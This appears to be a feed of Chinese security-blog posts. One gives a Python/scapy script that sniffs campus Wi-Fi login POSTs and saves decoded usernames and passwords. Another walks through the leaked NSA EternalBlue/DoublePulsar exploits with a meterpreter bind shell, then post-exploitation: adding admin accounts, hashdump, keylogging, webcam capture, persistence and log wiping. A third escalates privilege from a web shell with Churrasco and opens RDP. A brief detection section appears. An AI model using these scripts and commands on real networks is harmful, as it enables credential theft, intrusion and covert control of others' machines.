<p>抓到的流量包除了访问该认证网站的http流,还包括了所有经过该无线网卡的所有协议的网络流。</p> <p><img src="./v2-6cd8906aa2f5a6d610aefc4c269c322f_hd.png" alt="img"></p> <p>设置过滤规则为http协议并且只有该认证网址ip。</p> <p>发现登录一次h3c系统,要先后传参给3个页面,一个/pws?t=li,一个/afterlogin.jsp,一个/loginSucc.jsp,所以就分别看这几个网页的抓包数据。</p> <p>发现其cookie都是一样的,但是只有pws这个页面是POST请求。</p> <p><img src="./v2-1d86af749bc5c0d02e757e52e08d791f_hd.jpg" alt="img"></p> <p>查看pws应用层传输的数据,发现上传了【userName】和【userPwd】参数,也就是说,只有这个页面是验证密码的。</p> <p>【userName】就是登陆的用户名,【userPwd】是经过base64编码后的密码。</p> <p><img src="./v2-630128ad034d028c51c867078cbc1530_hd.jpg" alt="img"></p> <h1 id="总结思路">总结思路</h1> <p>我们可以抓取用户登陆时的POST请求来获取用户名和密码,也可以在用户勾选【记住密码】时获取带有用户名密码信息的cookie。</p> <ol> <li>当抓到client ==&gt; server的数据包时</li> </ol> <ul> <li>如果是GET请求,检查有没有Cookie存在。</li> <li>如果是POST请求,把用户名和密码拿出来。</li> <li>检查是否有set-cookie头部,有的话取出来。</li> </ul> <p>最后如果有cookie被嗅探到,就带着cookie把向server索要一下密码。</p> <p><strong>但是为了偷懒,这里就不嗅探cookie了,直接嗅探POST的用户名和密码就行了。最终思路如下:</strong></p> <p>当抓到client ==&gt; server的数据包时,如果是POST请求,直接把用户名和密码拿出来。</p> <h1 id="嗅探">嗅探</h1> <p><strong>实验环境</strong></p> <ul> <li>Ubuntu虚拟机</li> <li>大功率USB无线网卡(8187等)</li> <li>python2.7</li> </ul> <p><strong>python扩展库需要</strong></p> <ul> <li>requests</li> <li>scapy</li> <li>scapy_http</li> <li>lxml</li> </ul> <p>** 代码</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-python" data-lang="python"><span style="color:#f92672">import</span> requests <span style="color:#f92672">import</span> scapy_http.http <span style="color:#f92672">as</span> http <span style="color:#f92672">from</span> scapy.all <span style="color:#f92672">import</span> <span style="color:#f92672">*</span> <span style="color:#f92672">from</span> lxml <span style="color:#f92672">import</span> etree iface <span style="color:#f92672">=</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">wlan0</span><span style="color:#e6db74">&#39;</span> url <span style="color:#f92672">=</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">http://192.168.xxx.x:xxxx/portal/pws?t=li</span><span style="color:#e6db74">&#34;</span> path <span style="color:#f92672">=</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">/root</span><span style="color:#e6db74">&#34;</span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">prn</span>(pkt): data <span style="color:#f92672">=</span> None <span style="color:#75715e">#std ==&gt; ap </span> <span style="color:#66d9ef">if</span> pkt<span style="color:#f92672">.</span>haslayer(http<span style="color:#f92672">.</span>HTTPRequest): <span style="color:#75715e">#if post the username and password </span> <span style="color:#66d9ef">if</span> pkt<span style="color:#f92672">.</span>Method <span style="color:#f92672">==</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">POST</span><span style="color:#e6db74">&#39;</span> <span style="color:#f92672">and</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">userName</span><span style="color:#e6db74">&#39;</span> <span style="color:#f92672">in</span> pkt<span style="color:#f92672">.</span>load: dt <span style="color:#f92672">=</span> {i<span style="color:#f92672">.</span>split(<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">=</span><span style="color:#e6db74">&#34;</span>)[<span style="color:#ae81ff">0</span>]:i<span style="color:#f92672">.</span>split(<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">=</span><span style="color:#e6db74">&#34;</span>)[<span style="color:#ae81ff">1</span>] <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> pkt<span style="color:#f92672">.</span>load<span style="color:#f92672">.</span>split(<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">&amp;</span><span style="color:#e6db74">&#34;</span>)} data <span style="color:#f92672">=</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">:::</span><span style="color:#e6db74">&#34;</span><span style="color:#f92672">.</span>join((dt[<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">userName</span><span style="color:#e6db74">&#34;</span>],dt[<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">userPwd</span><span style="color:#e6db74">&#34;</span>][<span style="color:#ae81ff">3</span>:]<span style="color:#f92672">.</span>decode(<span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">base64</span><span style="color:#e6db74">&#34;</span>))) <span style="color:#f92672">+</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span> <span style="color:#66d9ef">print</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">[+]Get! Post data:</span><span style="color:#e6db74">%s</span><span style="color:#e6db74"> </span><span style="color:#e6db74">%s</span><span style="color:#e6db74"> </span><span style="color:#e6db74">%s</span><span style="color:#e6db74"> </span><span style="color:#e6db74">%s</span><span style="color:#e6db74">&#39;</span><span style="color:#f92672">%</span>(dt[<span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">userName</span><span style="color:#e6db74">&#39;</span>],dt[<span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">userPwd</span><span style="color:#e6db74">&#39;</span>]) <span style="color:#66d9ef">if</span> data <span style="color:#f92672">!=</span> None: <span style="color:#66d9ef">with</span> open(path <span style="color:#f92672">+</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">schoolUserPwd.txt</span><span style="color:#e6db74">&#34;</span>, <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">a</span><span style="color:#e6db74">&#34;</span>) <span style="color:#66d9ef">as</span> txt: txt<span style="color:#f92672">.</span>write(data) <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>(): <span style="color:#66d9ef">try</span>: sniff(iface<span style="color:#f92672">=</span>iface, prn<span style="color:#f92672">=</span>prn, filter<span style="color:#f92672">=</span><span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">ip host 192.168.xxx.x</span><span style="color:#e6db74">&#34;</span>, store<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>) <span style="color:#75715e">#sniff(offline=path + &#34;school.pcap&#34;, prn=prn, filter=&#34;ip host 192.168.xxx.x&#34;) </span> <span style="color:#66d9ef">except</span> <span style="color:#a6e22e">KeyboardInterrupt</span>, e: <span style="color:#66d9ef">print</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#34;</span><span style="color:#e6db74">quitting...</span><span style="color:#e6db74">&#34;</span> <span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74"></span><span style="color:#e6db74">&#39;</span><span style="color:#e6db74">__main__</span><span style="color:#e6db74">&#39;</span>: main() </code></pre></div><p><strong>说明</strong></p> <ul> <li>requests用来向服务器请求</li> <li>scapy用来在无线网络中嗅探</li> <li>scapy_http用来对http协议更方便的解析</li> <li>lxml用来从服务器返回的html文件中,解析出来用户名和密码</li> <li>prn是sniff函数每过滤到一个符合条件的数据包时回调的函数,并将数据包本身作为参数传入</li> <li>之所以选择Ubuntu而不是Windows是因为scapy_http在win下运行有些问题</li> </ul> <p><strong>注意</strong></p> <p>由于我们既要嗅探,同时又要向服务器请求,所以airmon-ng check kill后,无线网卡开启monitor模式,再将网卡调到信号最强的ap的信道上。之前经过kismet抓取无线网包发现该校园网WIFI是在channel 1/6/11信道上工作的。</p> <p>最后再打开网络管理的服务。</p> <p>执行以下命令</p> <pre><code>$sudo airmon-ng check kill $sudo ifconfig wlan0 down $sudo iwconfig wlan0 mode monitor $sudo ifconfig wlan0 up $sudo iwconfig mon0 channel 1/6/11 $sudo service network-manager start </code></pre><p><strong>结果</strong></p> <p>由于之前买的无线网卡是劣质品无法识别,因此暂无结果。</p> <p>理论上是可以嗅探到的,等成功嗅探后再补发。</p> <h1 id="参考">参考</h1> <p>参考Freebuf的 <a href="http://link.zhihu.com/?target=http%3A//www.freebuf.com/articles/network/129721.html" target="_blank" rel="noopener">如何在开放无线网络中嗅探校园网密码**</a>这篇文章提供的python脚本,针对该校的网络进行了一些修改。</p> NSA方程式工具利用与分析 https://p0st3r.github.io/post/nsa-tools/ Fri, 28 Apr 2017 00:00:00 +0000 https://p0st3r.github.io/post/nsa-tools/ <h1 id="shadowbroker">Shadowbroker</h1> <p>下载地址</p> <p><a href="https://yadi.sk/d/NJqzpqo_3GxZA4">https://yadi.sk/d/NJqzpqo_3GxZA4</a></p> <p><strong>解压密码</strong>:Reeeeeeeeeeeeeee</p> <p><strong>github下载地址</strong>: <a href="http://link.zhihu.com/?target=https%3A//github.com/misterch0c/shadowbroker" target="_blank" rel="noopener">https://github.com/misterch0c/shadowbroker</a></p> <p>释放的工具总共包含三个文件夹,</p> <ul> <li>Swift:包含了NSA对SWIFT银行系统发动攻击的相关证据,其中有EastNets的一些PPT文档、相关的证据、一些登录凭证和内部架构,EastNets是中东最大的SWIFT服务机构之一。</li> <li>OddJob:包含一个基于Windows的植入软件,并包括所指定的配置文件和payload。适用于Windows Server 2003 Enterprise(甚至Windows XP Professional)</li> <li>Windows:包含对Windows操作系统的许多黑客工具,但主要针对的是较旧版本的Windows(Windows XP中)和Server 2003。</li> </ul> <h1 id="主要工具">主要工具</h1> <h2 id="fuzzbunch一款类似metasploit的exploit框架">FUZZBUNCH:一款类似Metasploit的Exploit框架</h2> <table> <thead> <tr> <th align="center">模块</th> <th align="center">漏洞</th> <th align="center">影响系统</th> <th align="center">默认端口</th> </tr> </thead> <tbody> <tr> <td align="center">Easypi</td> <td align="center">IBM Lotus Notes漏洞</td> <td align="center">Windows NT, 2000 ,XP, 2003</td> <td align="center">3264</td> </tr> <tr> <td align="center">Easybee</td> <td align="center">MDaemon WorldClient电子邮件服务器漏洞</td> <td align="center">WorldClient 9.5, 9.6, 10.0, 10.1</td> <td align="center">/</td> </tr> <tr> <td align="center">Eternalblue</td> <td align="center">SMBv2漏洞(MS17-010)</td> <td align="center">Windows XP(32),Windows Server 2008 R2(32/64),Windows 7(32/64)</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Doublepulsar</td> <td align="center">SMB和NBT漏洞</td> <td align="center">Windows XP(32), Vista, 7, Windows Server 2003, 2008, 2008 R2</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Eternalromance</td> <td align="center">SMBv1漏洞(MS17-010)和 NBT漏洞</td> <td align="center">Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Eternalchampion</td> <td align="center">SMB和NBT漏洞</td> <td align="center">Windows XP, Vista, 7, Windows Server 2003, 2008, 2008 R2, 2012, Windows 8 SP0</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Eternalsynergy</td> <td align="center">SMB和NBT漏洞</td> <td align="center">Windows 8, Windows Server 2012</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Explodingcan</td> <td align="center">IIS6.0远程利用漏洞</td> <td align="center">Windows Server 2003</td> <td align="center">80</td> </tr> <tr> <td align="center">Emphasismine</td> <td align="center">IMAP漏洞</td> <td align="center">IBM Lotus Domino 6.5.4, 6.5.5, 7.0, 8.0, 8.5</td> <td align="center">143</td> </tr> <tr> <td align="center">Ewokfrenzy</td> <td align="center">IMAP漏洞</td> <td align="center">IBM Lotus Domino 6.5.4, 7.0.2</td> <td align="center">143</td> </tr> <tr> <td align="center">Englishmansdentist</td> <td align="center">SMTP漏洞</td> <td align="center">/</td> <td align="center">25</td> </tr> <tr> <td align="center">Erraticgopher</td> <td align="center">RPC漏洞</td> <td align="center">Windows XP SP3, Windows 2003</td> <td align="center">445</td> </tr> <tr> <td align="center">Eskimoroll</td> <td align="center">kerberos漏洞</td> <td align="center">Windows 2000, 2003, 2003 R2, 2008, 2008 R2</td> <td align="center">88</td> </tr> <tr> <td align="center">Eclipsedwing</td> <td align="center">MS08-067漏洞</td> <td align="center">Windows 2000, XP, 2003</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Educatedscholar</td> <td align="center">MS09-050漏洞</td> <td align="center">Windows vista, 2008</td> <td align="center">445</td> </tr> <tr> <td align="center">Emeraldthread</td> <td align="center">SMB和NBT漏洞</td> <td align="center">Windows XP, 2003</td> <td align="center">139/445</td> </tr> <tr> <td align="center">Zippybeer</td> <td align="center">SMTP漏洞</td> <td align="center">/</td> <td align="center">445</td> </tr> <tr> <td align="center">Esteemaudit</td> <td align="center">RDP漏洞</td> <td align="center">Windows XP, Windows Server 2003</td> <td align="center">3389</td> </tr> </tbody> </table> <h2 id="eternalblue攻击原理分析">ETERNALBLUE攻击原理分析</h2> <p>ETERNALBLUE是一个RCE漏洞利用,通过SMB(Server Message Block)和NBT(NetBIOS over TCP/IP)影响Windows XP,Windows 2008 R2和Windows 7系统。</p> <ul> <li>漏洞发生处:C:\Windows\System32\drivers\srv.sys (注:srv.sys是Windows系统驱动文件,是微软默认的信任文件。</li> <li>漏洞函数:unsigned int __fastcall SrvOs2FeaToNt(int a1, int a2)</li> <li>触发点:_memmove(v5, (const void <em>)(a2 + 5 +</em> (_BYTE <em>)(a1 + 5)),</em> (_WORD *)(a1 + 6));</li> <li>原因:逻辑不正确导致的越界写入</li> </ul> <p>官方补丁修复前:</p> <pre><code>int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1) { //SNIP... while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 &amp;gt; v4)) { *(WORD*)v6 = v3 - (_DWORD)v6; //&lt;----------修改处 return v1; } //SNIP... } int __thiscall ExecuteTransaction(int this) { //SNIP... if (*(_DWORD *)(v3 + 0x50) &amp;gt;= 1) //&lt;------修改处 { _SrvSetSmbError2(0, 464, &amp;quot;onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c&amp;quot;); SrvLogInvalidSmbDirect(v1, v10); goto LABEL_109; } //SNIP... } </code></pre><p>修复后:</p> <pre><code>int __fastcall SrvOs2FeaListSizeToNt(_DWORD *a1) { //SNIP... while (v3 = v4 || (v7 = *(_BYTE *)(v3 + 1) + *(_WORD *)(v3 + 2), v7 + v3 + 5 &amp;gt; v4)) { *(DWORD*)v6 = v3 - (_DWORD)v6; //&lt;--------修改处 return v1; } //SNIP... } int __thiscall ExecuteTransaction(int this) { //SNIP... if (*(_DWORD *)(v3 + 0x50) &amp;gt;= 2u) //&lt;------修改处 { _SrvSetSmbError2(0, 464, &amp;quot;onecore\\base\\fs\\remotefs\\smb\\srv\\srv.downlevel\\smbtrans.c&amp;quot;); SrvLogInvalidSmbDirect(v1, v10); goto LABEL_109; } //SNIP... } </code></pre><p>具体见参考资料5</p> <h1 id="漏洞复现"><strong>漏洞复现</strong></h1> <ol> <li> <p>环境搭建</p> <p>| 主机类型 | OS | IP | | :–: | :————: | :———-: | | 攻击机1 | win2003 | 10.10.10.130 | | 攻击机2 | kali linux 2.0 | 10.10.10.128 | | 靶机 | winXP x86 | 10.10.10.129 |</p> </li> <li> <p>工具准备</p> </li> </ol> <ul> <li> <p>解压NSA工具包中的windows文件夹到攻击机1的C:\目录下(只要不是中文目录皆可);</p> </li> <li> <p>在攻击机1安装:</p> </li> <li> <p> <a href="http://link.zhihu.com/?target=https%3A//www.python.org/download/releases/2.6.6/" target="_blank" rel="noopener">python-2.6.6.msi**</a></p> </li> <li> <p> <a href="http://link.zhihu.com/?target=https%3A//sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win32-py2.6.exe/download" target="_blank" rel="noopener">pywin32-221.win32-py2.6.exe**</a></p> </li> <li> <p>在攻击机2先生成用于回连的dll</p> <pre><code>msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f dll &gt; x86bind.dll </code></pre><p>3.扫描开启445端口的活跃主机并探测操作系统</p> <pre><code>nmap -Pn -p445 -O 10.10.10.0/24 nmap -Pn -p445 -O -iL ip.txt </code></pre><p>4.攻击机1开始利用ETERNALBLUE攻击</p> <pre><code>python fb.py use Eternalblue ... </code></pre><p>5.利用Doublepulsar注入dll</p> <pre><code>use Doublepulsar </code></pre><p>6.kali攻击机利用msf回连控制主机5555端口</p> <pre><code>use exploit/multi/handler set payload windows/meterpreter/bind_tcp set LPORT 5555 set RHOST XXX.XXX.XXX.XXX exploit </code></pre></li> </ul> <h1 id="后渗透攻击"><strong>后渗透攻击</strong></h1> <ol> <li> <p>开3389端口</p> <ul> <li> <pre><code>wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != “”) call setallowtsconnections 1 </code></pre></li> <li> <pre><code>wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName =’RDP-Tcp’) call setuserauthenticationrequired 1 </code></pre></li> <li> <pre><code>reg add “HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fSingleSessionPerUser /t REG_DWORD /d 0 /f </code></pre></li> </ul> </li> </ol> <p>针对win XP及win2003只需要第3条命令 针对win 7需要第1,2条命令 针对win 2012需要3条命令</p> <ol> <li> <p>添加账户进管理组</p> <pre><code>net user [username] [password] /add net localgroup Administrators [username] /add </code></pre></li> <li> <p>端口转发如果3389端口只限内网访问,可以使用portfwd将端口转发到本地连接</p> <pre><code>portfwd add -l 4444 -p 3389 -r XXX.XXX.XXX.XXX rdesktop -u root -p toor 127.0.0.1:4444 </code></pre></li> <li> <p>meterpreter自带的多功能shell</p> <ul> <li>hashdump:获取用户密码哈希值,可以用ophcrack等彩虹表工具进行破解明文</li> <li>screenshot:获取屏幕截图</li> <li>webcam_snap:调取对方摄像头拍照</li> <li>keyscan_start,keyscan_dump:记录键盘动作</li> <li>ps:查看当前运行进程</li> <li>sysinfo:查看系统信息</li> <li>getsystem:提权</li> </ul> </li> <li> <p>维持控制</p> <ul> <li> <p>migrate:将meterpreter会话移至另一个进程内存空间(migrate pid)配合ps使用</p> </li> <li> <p>irb:与ruby终端交互,调用meterpreter封装函数,可以添加Railgun组件直接交互本地的Windows API,阻止目标主机进入睡眠状态</p> <pre><code>irb client.core.use(&quot;railgun) client.railgun.kernel32.SetThreadExecutionState(&quot;ES_CONTINUOUS|ES_SYSTEM_REQUIRED&quot;) </code></pre></li> <li> <p>background:隐藏在后台方便msf终端进行其他操作,session查看对话id</p> </li> <li> <p>session -i X:使用已经成功获取的对话</p> </li> </ul> </li> <li> <p>植入后门</p> <ul> <li> <p>测试是否虚拟机:</p> <pre><code>run post/windows/gather/checkvm </code></pre></li> <li> <p>以系统服务形式安装:在目标主机的31337端口开启监听,使用metsvc.exe安装metsvc-server.exe服务,运行时加载</p> <pre><code>metsrv.dll run metsvc </code></pre></li> <li> <p>getgui开启远程桌面:</p> <pre><code>run getgui -u sherlly -p sherlly run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up_XXX.rc //清除痕迹,关闭服务,删除添加账号 </code></pre></li> </ul> </li> <li> <p>清除入侵痕迹</p> </li> </ol> <ul> <li>clearev:清除日志</li> <li>timestomp:修改文件的创建时间,最后写入和最后访问时间timestomp xiugai.doc -f old.doc</li> </ul> <h1 id="检测防御"><strong>检测&amp;防御</strong></h1> <ol> <li> <p>国外有人写了个检测Doublepulsar入侵的脚本,运行环境需要python2.6, 地址</p> <p>countercept/doublepulsar-detection-script**</p> <p>,使用方法</p> <pre><code>python detect_doublepulsar_smb.py --ip XXX.XXX.XXX.XXX python detect_doublepulsar_rdp.py --file ips.list --verbose --threads 1 </code></pre><p>另外,nmap也基于该脚本出了对应扫描脚本</p> <p>smb-double-pulsar-backdoor.nse**</p> <p>,使用方法</p> <pre><code>nmap -p 445 &lt;target&gt; --script=smb-double-pulsar-backdoor </code></pre></li> <li> <p>安装相应补丁 <a href="http://link.zhihu.com/?target=https%3A//blogs.technet.microsoft.com/msrc/2017/04/14/protecting-customers-and-evaluating-risk/" target="_blank" rel="noopener">Protecting customers and evaluating risk**</a></p> </li> <li> <p>如非必要,关闭25, 88, 139, 445, 3389端口</p> </li> <li> <p>使用防火墙、或者安全组配置安全策略,屏蔽对包括445、3389在内的系统端口访问。(见参考资料7)</p> </li> </ol> <h1 id="参考"><strong>参考</strong></h1> <ol> <li> <a href="http://link.zhihu.com/?target=http%3A//thehackernews.com/2017/04/swift-banking-hacking-tool.html" target="_blank" rel="noopener">Latest Hacking Tools Leak Indicates NSA Was Targeting SWIFT Banking Network</a></li> <li> <a href="http://link.zhihu.com/?target=http%3A//www.freebuf.com/sectool/132029.html" target="_blank" rel="noopener">ShadowBrokers方程式工具包浅析,揭秘方程式组织工具包的前世今生 - FreeBuf.COM | 关注黑客与极客**</a></li> <li> <a href="http://link.zhihu.com/?target=https%3A//www.cyberscoop.com/nsa-hacking-tools-shadow-brokers-dark-web-microsoft-smb/" target="_blank" rel="noopener">Leaked NSA hacking tools are a hit on the dark web - CyberScoop</a></li> <li> <a href="http://link.zhihu.com/?target=http%3A//www.file.net/process/srv.sys.html" target="_blank" rel="noopener">srv.sys Windows process - What is it?</a></li> <li> <a href="http://link.zhihu.com/?target=http%3A//blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/" target="_blank" rel="noopener">NSA Eternalblue SMB 漏洞分析</a></li> <li> <a href="http://link.zhihu.com/?target=https%3A//nmap.org/nsedoc/scripts/smb-double-pulsar-backdoor.html" target="_blank" rel="noopener">smb-double-pulsar-backdoor NSE Script</a></li> <li> <a href="http://link.zhihu.com/?target=https%3A//jingyan.baidu.com/article/c843ea0b7d5c7177931e4ab1.html" target="_blank" rel="noopener">如何设置Windows 7 防火墙端口规则</a></li> </ol> Windows服务器提权和开启3389远程连接 https://p0st3r.github.io/post/win-getshell-and-open-rdp/ Thu, 20 Apr 2017 00:00:00 +0000 https://p0st3r.github.io/post/win-getshell-and-open-rdp/ <p>系统为了都有有权限管理系统,根据权限高低来决定用户在这台机器上能做的事。</p> <p>比如有的文件规定了低权限用户是无法读写的,而这些文件通常是我们想要获取的敏感文件。</p> <p>有的文件夹是规定不能读写的,那么我们就不能上传任何到这个文件夹,也无法从这个文件夹里运行任何程序,所以我们连接上服务器都要找一个可读可写的文件夹来继续上传我们需要的程序,如开后门的程序。</p> <p>一般的网站都存储在服务器权限比较低的文件夹里, 所以即使我们上传了WebShell,最多也只能够对网站所在的文件夹操作,而不能完整的控制整个服务器。所以我们需要进行提权,以一个权限相当高的用户来访问该服务器。</p> <p>Windows中以用户组来分配权限,每个用户组有不同的权限,其中最高权限用户组是Administrators组,拥有对整个系统进行操作system权限。每个用户组下可以创建多个用户。</p> <p>在Win10以前的Windows系统版本中,可以通过 右键此电脑=》管理=》系统工具=》本地用户和组来查看用户组及用户组中的用户。</p> <p><img src="v2-eb8981064ab46a0bc03f31ee70a86f2b_hd.png" alt="img"></p> <h2 id="0x01-大马和菜刀">0x01 大马和菜刀</h2> <p>我试过各种大马,功能其实都大同小异,不过不知道是不是我使用的原因,里面的cmd并不怎么好用。大马里我个人觉得最有用的就是查看文件权限属性的功能,这个使我们在找后门上传点的时候是非常好用的,并且这个功能在菜刀里是没有的。</p> <p>这种php大马可以在Perms项下看到文件的读写权限属性。</p> <p><img src="v2-2fcc71a8ada61d4e72901ab183efe4ec_hd.png" alt="img"></p> <p>而菜刀比较好的的就是比较适合人类查看的文件目录界面,和虚拟终端。所以通常将两者结合起来用。右键任意可执行文件打开虚拟终端。</p> <h2 id="imgv2-18be9bbfd3f9c9b66d97b4a376774239_hdpng0x02-巴西烤肉提权"><img src="v2-18be9bbfd3f9c9b66d97b4a376774239_hd.png" alt="img">0x02 巴西烤肉提权</h2> <p>创建系统用户的命令如下:</p> <ul> <li>新建一个用户</li> </ul> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">net user [username] [password] /add </code></pre></div><ul> <li>添加到Administrators用户组</li> </ul> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">net localgroup Administrators [username] /add </code></pre></div><ul> <li>激活用户</li> </ul> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">net user [username] /active:yes </code></pre></div><p>由于一般网站被放在服务器中权限比较低的文件夹中,因此直接创建Administrator用户的命令是不被执行的。</p> <p>巴西烤肉是一个非常强劲的程序,它可以无视拒绝强制执行cmd命令,经常被用到提权中。</p> <p>我们通过菜刀将cmd.exe和巴西烤肉上传到网站文件夹中。</p> <p><img src="v2-0d4983673f80086b2a185b50d42e40d5_hd.png" alt="img"></p> <p>然后右键cmd.exe打开虚拟终端,先将终端路径设置为我们自己上传的cmd.exe,再尝试直接创建用户,报错命令被拒绝执行。(其实这里是一个Ubuntu Linux服务器)</p> <p><img src="v2-6c9679f163c06cb6d6a73a7aa38f17de_hd.png" alt="img"></p> <p><img src="v2-7a965148c3cbc5a7bc19695203fac9e8_hd.png" alt="img"></p> <p>======================================================================</p> <p>由于后来没找到Windows服务器的网站模板,因此下面就不带图了,过程全部手打还原,谅解</p> <p>======================================================================</p> <p>先将终端路径设置为我们自己上传的cmd.exe</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">SETP ../../www/uploads/cmd.exe </code></pre></div><p>再用巴西烤肉强制执行命令。巴西烤肉语法:Churrasco.exe &ldquo;your command&rdquo;</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">Chu.exe &#34;net user [username] [password] /add &amp; net localgroup Administrators [username] /add&#34; </code></pre></div><p>若无报错,那么我们就已经成为系统管理员账户了。查看当前用户会发现我们创建的用户:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">net user </code></pre></div><p>至此,我们已经创建了超级权限的用户,已经可以对整个服务器进行操作了。但是在终端里操作总有些不方便,下面我们介绍一下拿下权限后如何远程连接进行桌面操作。</p> <h2 id="0x03-3389端口服务">0x03 3389端口服务</h2> <p>远程桌面协议(RDP, Remote Desktop Protocol)是一个多通道(multi-channel)的协议,让用户(客户端或称“本地电脑”)连上提供微软终端机服务的电脑(服务器端或称“远程电脑”)。大部分的Windows都有客户端所需软件。服务端电脑方面,<strong>默认听取送到TCP3389端口的数据</strong>。【百度百科】</p> <p>这是一种非常方便的对服务器的操作方式,一般的网站管理员都会开启3389端口远程桌面服务。而有的安全素养比较高的管理员则会选择将3389端口关闭,甚至开启防火墙禁止任何开启3389的操作。</p> <p><em>闲扯一下,最近Shadow Broker泄露的NSA的工具,内网里开3389的服务器一打一个准,有空的可以去玩玩。misterch0c/shadowbroker</em></p> <p>在无防火墙的情况下,我们可以用cmd命令来添加注册表开启3389端口,或者使用别人留下的工具。</p> <ul> <li>cmd命令</li> </ul> <p>将以下命令写入一个.bat文件,将其拖入服务器可读写目录执行,即可开启3389端口。</p> <p>此种对Windows XP 和2003系统有用,不用重起</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal&#34; &#34;Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f </code></pre></div><ul> <li> <p>写好的程序</p> <p><img src="v2-c1f967bb47989b9824e01b78f35b8281_hd.png" alt="img"></p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">Chu.exe &#34;kai3389.exe&#34; </code></pre></div><p>就行了</p> </li> </ul> <p><em>在有防火墙的情况下,需将防火墙先关闭,再用lcx.exe将3389映射到其他端口上,这个等我搞懂了再写。</em></p> <h2 id="0x04-rdp远程桌面连接">0x04 RDP远程桌面连接</h2> <p>创建好用户,开启远程桌面功能,就可以用此用户远程登陆别人的服务器直接进行桌面操作,岂不是美滋滋。</p> <p>Win+R 打开【运行】窗口,运行</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">mstsc /admin </code></pre></div><p>用直接创建的用户名和密码登录,OK。</p> iptables防火墙的应用和SNAT/DNAT策略 https://p0st3r.github.io/post/iptables/ Wed, 12 Apr 2017 00:00:00 +0000 https://p0st3r.github.io/post/iptables/ <h1 id="0x00-iptables简介">0x00 iptables简介</h1> <p>netfilter/iptables(简称为iptables)组成Linux平台下的包过滤防火墙,与大多数的Linux软件一样,这个包过滤防火墙是免费的,它可以代替昂贵的商业防火墙解决方案。</p> 